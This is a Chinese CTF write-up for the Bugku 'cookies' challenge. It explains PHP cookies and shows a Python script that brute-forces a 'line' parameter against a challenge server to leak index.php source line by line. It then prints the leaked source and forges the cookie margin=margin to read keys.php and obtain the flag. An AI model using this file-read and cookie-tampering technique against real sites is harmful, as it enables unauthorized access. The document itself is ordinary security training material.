【CTF bugku cookies】关于cookie篡改、PHP代码审计

知识点

cookie

cookie 常用于识别用户。cookie 是一种服务器留在用户计算机上的小文件。每当同一台计算机通过浏览器请求页面时,这台计算机将会发送 cookie。通过 PHP,您能够创建并取回 cookie 的值。

在PHP中,利用setcookie()函数可以创建和修改Cookie,以及设置Cookie的有效期;而使用$_COOKIE[]数组可以读取Cookie变量的值。

setcookie(name,value[,exprie,path,domain,secure]);//创建Cookie

参数:
name:Cookie的变量名
value:Cookie的变量值
expire:Cookie的有效期(可选)
path:Cookie的服务器路径(可选)
domain:Cookie的有效域名(可选)
secure:是否采用HTTPS来传输Cookie(可选)

题目

 发现参数$filename像被base64加密过,base_decode(a2V5cy50eHQ=)=key.txt

也就是说允许读取文件

尝试读取本网页index.php,base_encode(index.php)=aW5kZXgucGhw,带入运行一下,发现没有内容

 考虑前面的参数$_line的问题,试了几下,都是空,猜测是代码空行的原因,只能写个脚本跑一下

 

import requests
a=30
for i in range(a):
	url="http://114.67.175.224:16856/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
	s=requests.get(url)
	print(s.text)

终于读到index.php的源码:

<?php
 
error_reporting(0);
 
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
 
$line=isset($_GET['line'])?intval($_GET['line']):0;
 
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
 
$file_list = array(
 
'0' =>'keys.txt',
 
'1' =>'index.php',
 
);
 
 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
 
$file_list[2]='keys.php';
 
}
 
if(in_array($file, $file_list)){
 
$fa = file($file);
 
echo $fa[$line];
 
}
 
?>

通过代码审计,发现当cookie["margin"]=="margin"时,还有一个keys.php可以读取。

在BP Repeater里构造新包,filename的值为base_encode(keys.php)的值,得到flag


版权声明:本文为zw05011原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。